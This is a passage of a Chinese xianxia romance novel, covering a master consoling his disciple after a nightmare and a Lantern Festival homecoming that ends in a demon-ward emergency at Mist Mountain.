于是楚纤茉一五一十将自己的情况说了出来,不知是出于一种什么心理,一边娓娓道来一边留心观察着宋霜的神态变化。
她从小到大几乎就没怎么好好睡过觉,被噩梦惊醒后就不敢再睡了,守着烛火才会感到一丝心安。
宋霜也不难联想到其中缘故,一个人长期没有安全感,自然是夙夜难眠,若自小到大都是今天这般模样,他怎么也无法说服自己去轻描淡写几句,要她振作,要她坚强,从古至今多少能人先贤都是这么过来的,风吹雨淋、唇枪舌剑,不死不疯、坚守本心,哪怕不成神也可流芳千古,欲成大事者当心有大丘壑,能容世间难容之事,能将曾经刻骨铭心的伤痛只作笑谈……
可她说到底只是个刚满十五岁的小姑娘啊,也不知命途为何如此坎坷,平生一点慰籍居然只有一个朋友,就像他自己说的那样,一旦苏潋影这根柱子倒了,那楚纤茉就真的万劫不复了。
她这样心思敏感的人,但凡有居心或测之人稍加诱导,走上邪路是迟早的事,以她心中对命运、天道乃至于整个人间的怨恨,将来一旦被妖魔二界利用,血洗六界恐怕并不言过其实。
想到这里,他暗下决心,如果大厦将倾,那么自己可不可以代替那个总是摇摇欲坠的苏潋影,成为她永远不会倒下的支柱呢?
他弯腰横抱起她,明显感觉到楚纤茉在他怀里僵成了一块铁板,手足无措道:“师尊,我我自己走就好!”
宋霜已经抱着她来到了床边,轻轻将她放下,自己拉过一把椅子坐在旁边,千头万绪不知道从何处说起,就先挑眼前的问,双目直视她闪躲的目光,尽量放缓语气:“适才梦见什么了,怎的吓成这样?”
楚纤茉脸色一阵惨白,积压在心里的恐惧实在无处发泄,以前还能讲给苏潋影听,现在却只能自己憋在心里……可是今天突然有人愿意听她讲了,她也不知是何感受,这个人还是她最畏惧最敬重的师尊。
师尊跟朋友自然是不一样的,以前她做噩梦了都会缩在苏潋影怀里,可现在宋霜光是这样坐在她身边,就能将她潜意识里产生的那些妖魔鬼怪尽数逼退,仿佛黑夜里风吹不灭、雨打不熄的一盏灯。
她抹了一把眼泪低着头,鼓足了勇气断断续续地说着,将适才梦里的一切颠三倒四地讲给他听。
宋霜听得百感交集,眉头越皱越紧,心下一阵阵发寒,梦由心生,楚纤茉心里还是怨恨那些欺辱过她的人,大概也是怨恨自己的,否则为何在梦境里他总是那副咄咄逼人的模样?
这时就听楚纤茉哑声问道:“师尊,我是不是一个坏人?所以老天要这么惩罚我,爹娘不喜欢我,兄弟姐妹厌恶我,我就连做梦都梦不到一点好事,以前总有人告诉我,一两个人厌恶你,分不清谁对谁错,可这么多年过来,几乎……几乎身边所有人都讨厌我,我不明白,我明明没有做错什么啊……”
一只温凉的手抚上她满是泪痕的脸,声音低沉又无比坚定:“那你觉得自己是个坏人吗?”
楚纤茉呆呆望着他,眼睛睁得大大的,颗颗热泪往下滚落,浸湿了宋霜的指尖,她摇摇头:“我不想做一个坏人,我想有朋友,有亲人,将来能有自己的徒弟,就像,就像十师叔那样,好多弟子都喜欢我……”
宋霜听得心里不是滋味……什么叫像十师叔那样?我是你师尊啊,朝夕相伴传道授业,你不该向我靠近吗?为何最喜欢、最崇敬的人是她水云仙?
压下莫名的吃味,不甚熟练地摸摸徒儿的头:“不要管别人说什么,做你自己想做的就是,如果……如果想成为你十师叔那样的人,就努力去做吧,你看她,整天笑嘻嘻的,凡尘琐事一点儿也不在意,逍遥自在,放鹿青崖之间,其实她未修仙以前,也不过是尘世中为生计奔忙的一个普通人,满手冻疮还要提着蔬果沿街叫卖,挣俩个小钱一不小心还会被流氓地痞抢去……”
宋霜有些出神,不再往下说了,其实,梵净十二仙,没几个是生来就含着金汤勺的,都是在尘世之中看尽了人情冷暖,饱尝了世态炎凉,有的愤然出家求仙问道,有的恰巧被四海游历的师祖捡回来从此跳脱红尘,就拿绣雪峰的韩露来说,其实她才是梵净十二仙里的小师妹,在未曾修仙之前,被父母卖给大户人家当丫鬟,签的还是死契,卖身钱让父母拿去给儿子娶媳妇了,徒留韩露一人在那户人家里受尽苦楚,本以为这样就够凄凉了,谁知那家人根本不拿丫鬟当人看,不知从哪儿听的邪门歪道,把二八佳人嫁给自家病秧子少爷冲喜,后来少爷死了居然还要韩露给他殉葬,将大活人钉入了棺材里,幸亏是梵净师祖路过,察觉雁回城一带怨气冲天,这才略施手段劈翻棺材惊走了送葬队伍,将快要窒息的韩露救了出来。
师祖将她带上梵净山的时候,韩露居然还怀着孕,这孩子定然不是那个病秧子少爷的,她不说别人自然也不敢多问,只是这小师妹除了师父和师兄师弟以外,痛恨所有男子,生下莘梓夏也是对她百般凌虐,莘梓夏是他们看着长大的,身为梵净山第二十一代弟子中的首席,韩露待她万分苛刻,稍有不顺心就是罚跪、戒鞭,甚至是逼着女儿修无情道,其他峰主有看不过眼的多少会劝两句,韩露自然给师兄师姐们面子,可是到底不能长久,莘梓夏在母亲的影响下也渐渐剑走偏锋,将世间所有男子视若污泥尘土。
仙剑大会上,莘梓夏大放异彩,一剑破万法,同辈弟子望尘莫及,一向刻板严厉的韩露终于露出了笑容,宋霜却看到掌门叶静秋暗暗摇头,轻叹一声:这孩子要毁了。
他神思飘忽,忽然感觉袖子被人轻轻拽了一下,很快又放开了。
“嗯?”宋霜有些不明所以。
楚纤茉已经止住了悲啼,有些胆怯又有些好奇地追问他:“那后来呢?”
宋霜这才反应过来她问的是水云仙,差点将韩露的事情说了出来,微微一笑淡若清风:
“后来,你师祖下山游历,看到一个面黄肌瘦的小姑娘提着箩筐走在前面,他老人家慧眼如炬,见这姑娘根骨奇佳又动了收徒的念头,上前去搭话,当时你师祖假扮一个云游道人,破衣烂衫的,你十师叔还以为是哪里蒙世的神棍,
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将仅剩的馒头掰了一大半给他,让他去别的地方讨饭,自己实在是爱莫能助了,你师祖一听哈哈大笑,破拂尘一甩显露本相,你十师叔当即就吓得跪地上了,”
楚纤茉没忍住扑哧一声笑了出来,觉得师尊真是涵养高深,他为什么能面无表情地讲这么有趣的故事。
宋霜愣了一下,倒是第一次见楚纤茉笑,于是接着往下讲。
“你师祖就问,小姑娘,吾乃梵净山鸿蒙道人,你可愿拜我为师修仙访道啊?你师叔就问,修仙能管饭吗?”
楚纤茉又笑得直不起腰来,然后渐渐收敛笑意:“唉,谁能想到这般风趣潇洒的十师叔,以前居然是这般惨淡……对了,”
楚纤茉两眼望着宋霜,他的经历勾起了她的好奇心:“那师尊在修道以前是怎样生活的?”
宋霜微微顿了一下,那些记忆太过久远了,以至于都忘却了大半,难得小徒儿有心问起,他努力回忆着,断断续续道:“以前为师在蓝羽村一带做过郎中,说来惭愧,医馆生意惨淡,时常入不敷出,运去金成铁,时乖鬼弄人,当地有一个富绅想盘并我的药店,我一直不松口才酿成大祸……”
他稍微一顿楚纤茉连忙问道:“师尊为什么不答应啊?”
她身子微微向前倾险些栽下床来,宋霜轻轻责备一声,将被子拉到她胸口,自己也顺势坐在了床边,继续讲道:“因为那个富绅欺行霸市,买卖假药,我怎能让父辈的招牌砸在这等小人手里,那人见我软硬不吃居然暗使阴谋诡计,让手下一个奴婢在我的药店里抓药,第二天那姑娘就死于非命了,我也被官府逮捕,那富绅一口咬定我是想谋害他的性命,侍女在试药时中毒身亡。我自然不肯蒙受这不白之冤,据理力争,可恨那富绅居然买通了我药店里一个小伙计,那伙计空口白牙污蔑我往药里投了马钱子……可叹我行医济世,危难之时宁无一人肯站出来为我说两句公道话,县官稀里糊涂就判了我的死罪……”
宋霜微微阖上双眸,这段尘封的往事竟历历在目,仿佛又回到了那个千夫所指、百口莫辩的公堂,一腔怒火无处发泄,心中意难平,愤然指苍天!难道要让我宋淮安就这样屈死不成?!
膝盖忽然一热,宋霜微睁开双眼,一只小手按在他腿上,她仰着脸忿忿不平,脸颊涨得通红,暗恨道:“要是我早生几百年就好了,我一定帮师尊说话!那个狗官真是气死人了,还有那富绅更是可恨,有权有势了不起啊,居然这般颠倒黑白!”
她抱着他的胳膊,脑袋轻轻在他肩头靠了一下,很快又拘谨地将身子后仰,闷声长叹:“好险好险,弟子差点就见不到师尊你了,后来呢?是师祖救了你吗?”
宋霜沉浸在她之前那句话里,心潮久久不能平静……君生我未生,我生君已老吗?
猛然清醒过来发觉自己道心不稳,连忙收敛心神,好久才重归平静,再低眸看去,楚纤茉已经有些犯困了,正点头如捣蒜。见她这副模样不禁微微一笑,轻柔地扶她躺下。
黎明时分他才悄无声息地离去,回眸看一眼床上熟睡的徒儿,接下来的路自己好好走吧。
86. 林瑶奔丧
正月时节,玄都张灯结彩热闹非凡,正值薄暮时分,灯球火树全部亮起,照得整座皇城辉煌灿烂,如同瑶池仙境一般,各种花灯扎得巧夺天工令人目不暇接,双龙戏珠灯金光璀璨、芙蕖荷叶灯并蒂连茎、玉兔抱月灯玲珑小巧、绣球灯珠光宝气、宝船灯栩栩如生……乐声飞舞,爆竹齐鸣,一头雄狮忽然窜到近前吓了林瑶一跳,接着就见那对硕大的金眼睛眨巴眨巴,一扭头又跃上了高台,人群中爆发出一浪高过一浪的掌声。
林瑶驻足看了一会儿,裹紧了身上的斗篷,搓搓冰冷的双手一边含笑说着“借过”一边艰难地往前挤,早知道这样就提前半个月回来了,哪知道紧赶慢赶正巧凑了个元宵节,好容易出了重围迎面遇上几个家丁模样的人,喜笑颜开地朝她奔了过来。
“这不是咱家二小姐吗?”
另一个道:“可不是嘛,打眼一瞧以为是神龛上的菩萨活了呢!”
齐刷刷跑到林瑶身边喜气洋洋道:“给小姐见礼!”
林瑶这才认出来是自家家丁,忙笑道:“是你们啊,不必多礼,我爹娘可在家吗?”
其中一个机灵的家丁连忙道:“老爷带着夫人参加宫宴去了,小姐回家略等片刻就好,酒菜都是现成的。”
林瑶微微点头,缓步往前走去,街道中灯如星河,歌舞欢笑声渐渐模糊起来,不知不觉中走到了一座恢宏气派的宫观前,大理石雕刻的两只狮子一左一右守在九级台阶下,门匾上用一品灵珠嵌着“星辰宫”三个字。
院墙里一株白梅探出几节枯枝,点点柔软的花苞似开未开,寒风中有股淡淡的清香。
林瑶站在门口,双脚都有些冻麻了,却迟迟没有迈步进去。
心想,他在做什么呢?
他向来是不喜欢这些热闹的,宫宴大概是不会去的,灯会估计也没有看,是在闭关还是在看书?
今年的元宵吃了吗?还是根本忘了这个节日?
大概是忘了吧,门口连灯笼都不挂一只……
想到这里她抽身又往回走,大概走了五六百步,在最近的花灯摊上挑来挑去,买了一盏茶壶大小的绣球琉璃灯,橘色的绒线绣球花朵朵紧促在透明的琉璃球上,花心是颗颗豆大的米珠,灯底下一圈鹅黄的穗子,提着灯又回到了星辰宫大门口,自己登高爬梯将绣球灯挂在了门檐下,又下去往后退几步看看位置正不正。
这么一折腾里面有人听到了,脚步声音传出,不一会儿就见一紫衣人影出来,林瑶心跳一乱,一个“师”字出口蓦然发现不对,连忙改口:“师弟好啊,怎的没有回家过节呢?”
来人正是星辰宫一名弟子,林瑶自然认识。
江旭东见大师姐回来了又惊又喜,连忙跑下台阶躬身施礼,又笑呵呵道:“我家里远,留在星辰宫也好,再说了一个月前刚回去了一次……哇!这灯是师姐挑的吗?真漂亮,我本想一会儿出去给咱星辰宫买盏撑门面的,好巧师姐已经挂上了。”
江旭东见她穿得单薄又道:“我煮了元宵,师姐吃一碗驱驱寒吧。”
师姐弟二人说说笑笑往里面走,林瑶一见北极殿一片黢黑,没有一丝灯光,忙回头问道:“师父呢?”
江旭东连忙答道:“师父去昆仑山了,好像说要建造一个祭台什么的,带走了星辰宫一部分外门弟子和工部官员,大概要半年左右,历练之事让大师姐你全权代办。”
林瑶听罢多时点点头:“我知道了,”又朝江旭东微微一笑,“你呀,快去吃饭吧,师姐在路上吃过了,哦,对了,这里有几样沁莲那边的点心,你和其他师兄弟们都尝尝。”
江旭东忙接过包袱一脸憨笑:“多谢大师姐!”
江旭东走后林瑶脸上的笑意逐渐淡去,望着凄冷的北极宫不知是何滋味了,一步步往前走,双手按在冰冷的门环上,两扇门自动向两边滑去,雪光映入屋子里,桌案、香炉、各种摆设历历在目,连位置都没有变过。
林瑶走了进去,在多宝阁最边上的一个架子里摸到了火折子,拔出吹着了火苗,借着微光点燃了青铜灯架上所有的蜡烛,倾刻间整间屋子仿佛都温暖了起来。
林瑶清削纤细的身影被烛光映在了西边的寒梅雕花屏风上,步步往里面走去,绕过围屏就是书房,长方条案上笔墨纸砚摆得……乱七八糟的。
林瑶扑哧一声差点笑出来,几步走过去替他收拾整齐,见玉石镇纸下压了一封信,信皮上写着一行字,他写字向来习惯连笔,不知道是懒得写还是为了省事,林瑶也是花了好长时间才认全了国师体,不过遇到她的名字时,总是一笔一划工工整整写上去,只见信封上题着六个字——爱徒林瑶亲启。
既然还没有寄出来,那我还是不看了吧……这么想着也替他放进了抽屉里。
走至案几前皱了皱眉,只见美人耸肩瓶里插着一株干枯的百合,毫无疑问,他是爱养花的,可总是记不起来浇水,导致这些花个个红颜薄命,不是旱死就是涝死。
以前有知道内情的人问她,恨不恨尹星灯?
轻叹声与许久之前的长叹重合。
她怎么会恨他呢?她自小生活在他身边,书法丹青是他手把手教的,剑术是他日复一日亲自指导的,生病了是他衣不解带地照顾着,就算淘气闯祸了他也从未责骂过一声,只是耐心地劝导,慢慢引她走上正途……
她曾以为这样的日子能一直延续下去,她发自肺腑愿意永远永远做他最乖巧懂事的徒儿,唯师命是从。
可是这一切从他说喜欢她那一刻起就变了,她没办法再和他好好相处下去,她怀念以前那个温和儒雅的师父,怀念那个只拿她当小孩宠爱的师父。
在她心里,师父就是师父啊,是此生都要尊敬爱戴的人,为他去死都心甘情愿,但怎能……
对他说那个字都觉得是亵渎啊!
缓缓踱出书房又往东边走,轻轻挑起三层叮咚作响的水晶帘后显现出寝室,金胆铜雀炉里残留着旃檀余灰,寒水木的床榻就在眼前,帐帘一端垂在地上,另一端被弦月银丝钩挂起。
房间十分干净、一尘不染,但东西总是随意摆放着,每次她归回原位,没几天进来又是东一只鸭西一只鹅。
就这尹星灯还给自己找补,你别管,我自己心里有数就行。
林瑶也没顶嘴,心道你有个什么数啊?有本事下次别喊“瑶儿快来,为师的
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某某又找不见了……”
透过绣着兰竹寒石的素纱帐帘,影影绰绰看到床上摆了几样东西。
这又是忘记收起来了?
林瑶走至床前,将垂下的随风轻晃的床帐揽到弦月钩里,随后保持着这个姿势久久没有动过……
瑶儿,众生就是这样,有善就有恶,有好就有坏,并非非黑即白,我们要做的就是均衡他们,让双方不断地消耗力量保持平衡,就像这棋盘上的黑白棋子,当白子胜过黑子的那一刻,它也输给了自己,只有在这棋盘上,棋子才是最有价值的。
师父,我不懂,我就是想让白子赢。我不喜欢黑色,白雪消融后的世界好讨厌啊。
瑶儿,世界本就是五颜六色的啊,就像每一个人,生来就与众不同,你不能强求所有人都像你一样。
师父师父,这池水好脏啊,为什么不把里面的杂草除干净了?每次你都留下那么一部分。
瑶儿,如果没有这些杂草,鱼儿们吃什么呢?
素手轻轻抚过那只画着兔子、乌龟的小棋盘、触碰过那支还不到三尺长的小鱼竿,柔肠百结,身子往前踉跄一下跪了下去,伏在床榻前无声悲啼,眼泪成双成对往下掉……
原来不止我怀念从前吗?
以前有什么难题我都请教你,你总能给我解答,可如今你就是我最大的难题,让我问谁去啊?
师父,师父,瑶儿想你……真的好想你……你什么时候才能回来啊?
许是回忆往事太过忘我,林瑶都没发现身后站了个人。
宫玄烛舔舔嘴唇,看着哭得泪人一般肝肠寸断的小白花:“呃,打扰一下,敢问咱师父是驾崩不是……那个圆寂了吗?”
林瑶连忙抹几把眼泪回过身,娇嗔道:“胡说八道什么,师父才没有……”
想起方才之事面颊作烧,她简单整理一下站了起来:“你怎么来了?”
宫玄烛一摊手笑得开怀:“不怪我误会啊,都说了你这个打扮轻易别哭,不知道的以为在给谁奔丧呢,害我白高兴一场……”
林瑶追问:“什么?”
“那个,害我这刚酝酿起的悲伤全付诸东流啊!”
林瑶半信半疑:“你有什么事吗?”
宫玄烛摸摸鼻子掩饰尴尬:“来避避风头,刚巧看到你也在。”
林瑶越发懵圈,不知道谁有这本事能逼得宫玄烛东躲西藏。
宫玄烛一脸黑线:“说来说去都怪尹星灯,大正月里自己发癫愚公移山也就算了,非得把我二哥也拉扯上,我娘数半天家里缺口子人,吃嘛嘛不香,看见我就来火,非得让我去昆仑山给宫少卿和咱师父送碗元宵去,怎么说都不听劝呐,还元宵呢,等拿上去都冻成冰坨子了,她可能是想让这两人死哈哈哈哈……”
林瑶听得嘴角轻轻抽搐:“你就这么说了?”
宫玄烛喟然长叹:“只图一时嘴快没分清大小王,于是乎惨遭驱逐,只能来此凄凉落寞之地……欸,后院谁做饭呢?”
林瑶:“可能是江师弟吧。”
宫玄烛点点头,摸摸瘪下去的肚子两眼发光:“有福之人不用忙欸,一起去蹭饭吗?”
87. 愿君逍遥
林瑶看着她,发梢沾满了碎玉乱琼,天寒地冻依旧穿着那身单薄的道袍,双手冻得又青又紫。
伸手替她掸去肩头的薄雪,解下自己的斗篷微微踮起脚裹在她身上,仔细地系好了绣带,抬眼一看宫玄烛正笑眼弯弯看着自己,那双眼睛深邃美丽,浓密的眼睫微微翘起,仿佛一把把小勾子,盯着别人笑起来总让人感觉自己被算计了。
林瑶握起她的双手搓了搓,微带嗔怪:“这么大人了连照顾自己都不会,手冷得跟石头一样……都流血了,你感觉不到疼吗?”
宫玄烛看似很诚恳地摇摇头:“刚才感觉不到的,被你这么一捂还真有点疼。
林瑶转身去拿药箱,宫玄烛欲哭无泪:“先吃饭行吗?我到现在早饭、中饭、晚饭都没吃呢。”
林瑶回首眉头紧蹙:“你,在家里连口饭都吃不上?”
宫玄烛越发莫名其妙:“多新鲜呐!我在外面也经常喝西北风啊,但我宁愿饿死也绝不会动手做饭,因为只要一动手就会被自己弄出来的玩意儿毒死,那就属于自杀了,好说不好听的,在阴曹地府都让那群老熟鬼们瞧不起。”
林瑶深深看了她一眼:“想吃什么?我做给你吃。”
“哎呀!贤妻啊!为夫真是感动得这眼泪顺着嘴角就流出来了,那就简简单单来个满汉全席吧!”
“呵,那你还是另请高明吧,鲜笋虾仁馄饨,爱吃不吃吧。”
宫玄烛推着她就往小厨房走:“有总比没有强,先说好啊,我这十根手指是用来祛邪降妖的,可别指望我给你打下手啊。”
林瑶又好气又好笑,但余光瞥到按在自己肩膀上那双裂开无数小口子的手、仿佛被小刀子密密麻麻划开皮肤一般,有的露出粉色的血肉,有的凝结着血痂……一时间百感交集。
尹星灯说得不错,宫玄烛的心境绝非常人可比。
她用余光打量身边比自己高出半个头的高挑少女,又是敬佩又是悲怜,人人皆道琅嬛少祭司放浪形骸、洒脱不羁,可这种心境若是在风霜雨雪、滚油烈火中淬炼出来的,只怕稍有不慎就是焚琴煮鹤、销金断玉了。
宠辱跌宕随他去,只做逍遥不世仙。
无情道最难过的关卡便是情,而逍遥道却是与无常世事、乃至于所谓天命做抗争,一旦证逍遥道,命途悄然改变,所有的不幸被看不见的手拉到极限,父母亲人看你仿佛一个透明人、可有可无,凡夫俗子看你就是个亦正亦邪的可怜笑柄,凡你所求皆为梦幻泡影,凡你所惧早晚灾祸降临,修为越往上走,苦楚磨难越是成倍增加。如果你信了这命,在天道的残酷折磨中失去所有力气,再与大道无缘。
修逍遥道的人恐怕最后自己都分不清,我究竟是真的万物皆空了,还是这颗心早已不堪重负、扭曲极端了。
于逍遥一道,林瑶迄今最佩服的唯有两人,一是尹星灯,还有就是宫玄烛了。
可恨这无常天道,你想逍遥一世,他偏偏让你枷锁缠身,你想无情无欲,他偏偏派来一人对你用情至深、九死不悔。
氤氲水汽在屋子里盘旋,宫玄烛不止一次地催问“好了没?”
气得林瑶想把她一脚踢出去,一边给鲜笋焯水,一边说话转移这饿死鬼的注意力。
“不如等会儿你跟我一起走吧,去我家待几天。”
宫玄烛一听这话满脸羞涩:“不太好吧,要去拜见岳父岳母的话我得先准备准备——嗷嗷嗷,你怎么能打未婚夫呢?”
林瑶提着擀面杖余怒未消、俏脸绯红,咬着银牙笑着点点头:“狗嘴里吐不出象牙来,再让我听到一次,我就奏请太后娘娘,把你的俸禄扣到二十年后。”
宫玄烛瞪大了眼睛顿足捶胸:“我去,青竹蛇儿口黄蜂尾上针,最毒还得是你这妇人心啊!”
林瑶冷笑一声,懒得理她,等馄饨馅儿晾凉时面皮儿也擀好了,薄如蝉翼,左手托起一片面皮来,右手??了一小勺馅料,几下就包成了一个漂亮的金鱼形,丢进开水锅里,大约包了二十几只,切了一小撮葱花下锅,香味一下子爆了开来,某人围着锅台就差流口水了。
不消片时舀起一碗,宫玄烛毫不客气抢了过去,当着林瑶果然是不避讳,摘下了脸上的面纱。
她悉悉索索地喝汤,林瑶就在旁边捧着脸认真看着,这大概是长大后第一次见宫玄烛容貌。
说实话,没有戴着面纱时好看,因为她整张脸最好看的就是那双深邃的眼睛,往下是不挺也不塌的鼻子,鼻头有颗针尖大的小痣,因为喝着热汤,两瓣嘴唇又红又软,热气笼罩着她的脸,两颊上被寒风刮破的细小伤口渗出了血痕。
林瑶捻起手帕刚想替她擦拭,宫玄烛一把捂住了碗口:“你干嘛?”
林瑶:“……”
正这时,厨房外急促的脚步声越来越近,一个熟悉的声音高喊道:“大师姐、二师姐,不好了!雾山阵法有异动!”
一听这话林瑶噌一下站了起来急急忙忙往外面跑,宫玄烛不紧不慢吃完碗底剩下的馄饨,擦擦嘴戴上面纱慢悠悠跟上。
只见江旭东气喘吁吁、脸色惨白:“巡山弟子飞书传音,戌时三刻雾山忽然震动,天星阵出现了裂纹,群妖躁动群起而攻之,现在恐怕都要冲出来了!”
“别慌!”
林瑶握紧了拳头,说是让别人别慌,她自己都快慌死了,强迫自己冷静下来,背着手原地踱步。
江旭东急得火上房,不知道关键时刻大师姐原地兜什么圈子,再看看二师姐,更白扯了,那位靠着柱子打上哈欠了。
这时候转圈的转完了,一摆手开始分派任务:“将剩下的弟子分为两批,一批由江师弟你带队留守星辰宫,另一批由我和玄烛带队赶去雾山,你们要时刻警惕不许松懈,一旦收到我传音即刻向芙蕖观求援,事不宜迟,行动!”
江旭东这才长舒了一口气,答应一声忙去分兵派将。
林瑶转头看向伸着懒腰的宫玄烛,看似想征求她的意见,宫玄烛冲她一乐:“你确定要留一群饭桶守着星辰宫?带我这么重量级的元老去修补一个小破阵?”
林瑶听了这话略一迟疑,知道宫玄烛道业非浅,即便窥不破未
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来几十年的事,眼下之事还是能预料到的,听她这意思好像是自己的分派不甚合理,连忙追问道:“星辰宫会出事吗?”
宫玄烛点点头又摇摇头,看着她干着急的模样发笑:“我不知道,你别问我。”
急得林瑶大冷天出了一身汗,两头对比一下,雾山阵法一旦出现异动,群妖就会闯入人界胡作非为,届时便是一场惨祸,星辰宫名声扫地都在其次,可怜天下百姓遭殃。至于星辰宫,这么多年来都没出过问题,留一部分人守着也就是了,有尹星灯的名号压着谁敢侵犯?
她下定决心还是依照原计划进行。
宫玄烛看着她的背影暗暗摇头。
傻丫头,你到底是不相信尹星灯的能耐啊,他布置下的天星阵若是出了岔子自己感觉不到吗?小小调虎离山之计你就中招了,罢了罢了,吃一堑长一智,尹星灯到现在不提醒你,恐怕也是算准了你会上当,就当是你的第一个历练任务了。
林瑶御剑而行,一马当先,身后跟着宫玄烛和众弟子,她调动全身灵力带着队伍全速往雾山赶去,趁这功夫联系尹星灯汇报情况。
两指夹着一枚传音玉令输入灵力没多久,对面人声、风雪声嘈杂,不一会儿又安静了下来,一个熟悉的清润嗓音在耳畔响起。
“瑶儿?”
林瑶愣了一下,连忙回过神来,迅速将情况简单回禀一遍。
那头沉默片刻,轻轻一笑,林瑶仿佛能想象到他脸上镇定自若、闲庭信步般的神态。
“这么说你已经带人前往雾山了?”
“是这样……”林瑶回眸看了一眼,漫天风雪中隐隐约约还能看到皇城中灯火通明的星辰宫,它仿佛一颗寂静的星星,正在默默凝视着自己。
尹星灯似是轻轻笑了一下,玉令那端又传来模糊不清的对话声,听声音尹星灯仿佛是发火了,将来人训斥了一顿,过了好一会儿声音才又清晰起来。
“瑶儿,为师这边有要紧事要处理,星辰宫和雾山之事只能拜托你了,自己应付得过来吗?”
林瑶心头一震,立刻感觉肩上的担子重了千斤,胸口微微起伏,提高了嗓音:“林瑶定不辱使命!”
耳畔又是一阵温和的轻笑,仿佛有一只大手在轻抚她的发顶。
“要照顾好自己……御着剑就别三心二意了。”
林瑶还想多问两句,师父你究竟在做什么?什么时候才能回来?
分别一年多了,以前那些不愉快早就忘了,现在只是想他,想得要命。
但听他的语气似乎真的很忙,她这个时候不应该再打扰他,于是恋恋不舍地断了传音。
耳边一静,万籁俱寂,心里空落落的何止林瑶一人。
尹星灯站在昆仑山下,手里握着一枚星辰玉令,脸色黑得吓人,本来要禀告事情的宫少卿大人瞅见形式不妙连忙往后缩。
只见国师捏着个玉牌在雪地里来回踱步,嘴里喃喃自语,根据口形宫少卿读出来了……
还真敢断我传音,小林瑶你给我等着!回去我再好好收拾你……